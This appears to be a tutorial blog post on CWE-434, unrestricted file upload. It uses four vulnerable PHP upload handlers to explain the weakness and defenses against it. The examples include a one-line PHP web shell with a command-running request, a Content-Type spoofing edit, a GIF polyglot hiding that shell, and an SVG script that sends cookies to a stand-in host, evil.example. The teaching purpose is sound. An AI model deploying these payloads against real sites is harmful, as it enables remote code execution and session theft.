November 23, 2026
Understanding CWE-434: Unrestricted Upload of File with Dangerous Type
Learn how CWE-434 lets attackers get executable content onto a server through an upload feature, from missing validation to files that pass…

By Walter Moar
5 min read
Learn how CWE-434 lets attackers get executable content onto a server through an upload feature, from missing validation to files that pass every check.
Upload features are everywhere: profile pictures, resumes, support attachments, document imports, and more. Each one lets an outsider put a file of their choosing onto the server. If the application doesn't control what kind of file is accepted, where it is stored, and how it is served back, the feature can also be a way for the attacker to run their own code.
CWE-434 Overview
The Common Weakness Enumeration (CWE) is a list of software and hardware security weaknesses. The CWEs are numbered, and each one describes a specific type of mistake that could lead to a security vulnerability. Understanding these common weaknesses helps identify potential security problems, both for the developer and an attacker.
CWE-434 happens when an application accepts uploaded files without properly restricting their type, and the file can later be processed or executed in a way that is dangerous. The most serious case is a server-side script, such as a PHP or JSP file, that is saved in a location where the web server will run it. Other dangerous types include HTML or SVG files that run JavaScript in a visitor's browser, and configuration files like .htaccess that change how the server behaves.
The impact is often the most severe that a web application can have. An uploaded script runs with the same privileges as the application, which usually means remote code execution: reading files, stealing credentials, and using the server as a foothold into the rest of the network. This weakness is related to CWE-184 (incomplete blocklists) and CWE-22 (path traversal in filenames), but it is a distinct problem. A file can have a perfectly safe name and a perfectly allowed extension and still be dangerous, because the weakness is in what the application lets the file become once it arrives.
Example 1: No Validation at All
A profile picture endpoint saves whatever it receives into a directory under the web root:
<?php
$uploadDir = '/var/www/html/uploads/';
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadDir . $name);
echo 'Uploaded';
?><?php
$uploadDir = '/var/www/html/uploads/';
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadDir . $name);
echo 'Uploaded';
?>A legitimate request uploads a file like me.png. However, an attacker uploads a file named shell.php with these contents:
<?php system($_GET['cmd']); ?><?php system($_GET['cmd']); ?>The file is saved to /var/www/html/uploads/shell.php. Because that directory is served by a web server with PHP enabled, the attacker only needs to visit:
GET /uploads/shell.php?cmd=idGET /uploads/shell.php?cmd=idThe server executes the file and returns the output of the command. From here the attacker can run anything that the web server user is allowed to run, and with the same permissions and filesystem access.
This is a weakness because the application never decides what a "profile picture" is. Anything is accepted, and it is saved somewhere that executes code. The fix has several layers. Only accept the file types that the feature needs, store uploads outside the web root (or on separate storage that never runs scripts), and generate the stored filename instead of using the one provided by the user.
Example 2: Trusting the Content-Type Header
A developer adds a check so that only images are accepted:
<?php
$type = $_FILES['avatar']['type'];
if (strpos($type, 'image/') !== 0) {
http_response_code(400);
exit('Images only');
}
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($_FILES['avatar']['tmp_name'],
'/var/www/html/uploads/' . $name);
echo 'Uploaded';
?><?php
$type = $_FILES['avatar']['type'];
if (strpos($type, 'image/') !== 0) {
http_response_code(400);
exit('Images only');
}
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($_FILES['avatar']['tmp_name'],
'/var/www/html/uploads/' . $name);
echo 'Uploaded';
?>This looks reasonable, but the value of $_FILES['avatar']['type'] is not something detected by PHP. The value is simply copied from the Content-Type header of the request, so the attacker controls it completely.
A normal upload request contains a section like this:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-phpContent-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-phpThe attacker changes one line before sending it:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/pngContent-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/pngThe check passes, and the PHP file is saved with its original name. Tools like Burp Suite make this edit trivial, and even a one-line curl command can set the header.
This is a weakness because the check validates a claim the attacker makes about the file, not the file itself. The Content-Type header, the filename, and any client-side JavaScript validation are all just attacker-supplied input. Real validation has to happen on the server, using data the attacker can't simply declare.
Example 3: Passing the Magic Byte Check
The developer learns that the Content-Type header can't be trusted, and switches to checking the file's actual contents. Most file formats begin with a signature, known as magic bytes. For example, a GIF starts with GIF89a and a PNG starts with \x89PNG:
<?php
$tmp = $_FILES['avatar']['tmp_name'];
$header = file_get_contents($tmp, false, null, 0, 6);
if (!in_array($header, ['GIF89a', 'GIF87a'], true)) {
http_response_code(400);
exit('Invalid image');
}
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($tmp, '/var/www/html/uploads/' . $name);
echo 'Uploaded';
?><?php
$tmp = $_FILES['avatar']['tmp_name'];
$header = file_get_contents($tmp, false, null, 0, 6);
if (!in_array($header, ['GIF89a', 'GIF87a'], true)) {
http_response_code(400);
exit('Invalid image');
}
$name = basename($_FILES['avatar']['name']);
move_uploaded_file($tmp, '/var/www/html/uploads/' . $name);
echo 'Uploaded';
?>The attacker creates a file that begins with the required signature and continues with PHP code:
GIF89a
<?php system($_GET['cmd']); ?>GIF89a
<?php system($_GET['cmd']); ?>This is called a polyglot, a single file that is valid in more than one format. The check sees GIF89a and approves it. An image viewer shows a broken picture, but PHP ignores everything outside of its <?php ... ?> tags and runs the code. The attacker uploads it as avatar.php (or as avatar.gif if the server is also misconfigured to run it), and visits it as in Example 1.
This is a weakness because checking the start of a file only proves that the file starts like an image, not that the whole file is only an image. Stronger approaches include re-encoding the image with an image library, which rewrites the file and discards anything that isn't pixel data, and always saving the file with an extension chosen by the server, based on the detected type. A .php extension then never reaches the disk, whatever the file contains.
Example 4: Dangerous Files That Aren't Server-Side Scripts
An application correctly blocks all server-side script types, and allows only .png, .jpg, and .svg for logos and avatars. The files are stored safely, and they are served back from the same domain as the application:
GET /uploads/logo.svgGET /uploads/logo.svgSVG is an image format, but it is also XML that can contain JavaScript. An attacker uploads an SVG like this:
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://evil.example/steal?c=' + document.cookie)
</script>
</svg><svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://evil.example/steal?c=' + document.cookie)
</script>
</svg>When a victim opens the SVG directly, the browser runs the script in the context of the application's domain, with access to the victim's session. The attacker never gets code running on the server, but the result is similar to stored cross-site scripting: stolen sessions, forged actions, and account takeover. HTML files uploaded as "documents" present the same problem.
This is a weakness because "dangerous type" doesn't only mean "executed by the server". A file can be harmless on disk and dangerous when a browser interprets it. Defenses include serving user uploads from a separate domain that holds no cookies, sending a Content-Disposition: attachment header so the browser downloads the file rather than rendering it, and adding X-Content-Type-Options: nosniff so the browser doesn't guess a more dangerous type. Where SVG isn't required, it's simpler to not accept it.
What to Remember
The most important points to keep in mind about unrestricted file uploads are:
- Every part of an upload is attacker-controlled input, including the filename, the
Content-Typeheader, the file contents, and any client-side checks - A file doesn't need an executable extension to be dangerous. Polyglots can pass content checks, and browser-interpreted formats like SVG and HTML can run script without any server-side execution
- Checking only the start of a file (magic bytes) proves very little about the rest of its contents
- Use an allowlist of the specific types a feature needs, and choose the stored filename and extension on the server rather than using the client's
- Store uploads outside the web root, or on separate storage configured to never execute files
- Serve uploads from a separate cookie-free domain, with
Content-Disposition: attachmentandX-Content-Type-Options: nosniffwhere appropriate - Re-encode or process files (such as images) so that anything that isn't expected content is discarded, and run applications with least privilege so that a successful upload exposes as little as possible
Want to learn more about security weaknesses? I'm working through the CWE list and doing writeups for security challenges. Follow along for more articles like this one.